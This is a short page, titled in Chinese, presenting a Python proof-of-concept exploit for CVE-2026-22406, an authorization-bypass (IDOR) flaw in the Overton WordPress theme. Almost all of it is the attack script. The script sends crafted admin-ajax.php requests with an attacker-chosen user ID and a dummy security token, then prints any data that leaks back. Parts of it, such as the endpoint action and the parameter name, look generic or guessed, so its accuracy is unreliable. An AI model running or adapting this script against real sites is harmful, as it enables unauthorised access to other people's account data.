CVE-2026-22406 Mikado-Themes Overton 授权绕过漏洞

# CVE-2026-22406 PoC - Overton Theme IDOR Vulnerability # Affected: Overton Theme <= 1.3 # Type: Authorization Bypass / IDOR import requests import sys def exploit_overton_idor(target_url, vulnerable_param, user_id): """ Exploit for CVE-2026-22406 - Authorization Bypass Through User-Controlled Key This PoC demonstrates how an attacker can manipulate user-controlled parameters to bypass access control restrictions in Overton theme. """ # Target endpoint that contains the vulnerable parameter endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload exploiting the user-controlled key # Attacker manipulates the parameter to access unauthorized resources payload = { 'action': 'overton_get_user_data', vulnerable_param: user_id, # User-controlled parameter 'security': 'dummy_token' # Weak or missing security check } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: # Check if unauthorized access was successful if 'success' in response.text or 'data' in response.text: print(f"[!] Vulnerability confirmed! IDOR exploit successful") print(f"[*] Accessed data for user ID: {user_id}") print(f"[*] Response: {response.text[:200]}") return True else: print(f"[*] Request returned status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-22406.py <target_url> <param_name> <user_id>") print("Example: python cve-2026-22406.py http://example.com user_id 1") sys.exit(1) target = sys.argv[1] param = sys.argv[2] uid = sys.argv[3] exploit_overton_idor(target, param, uid)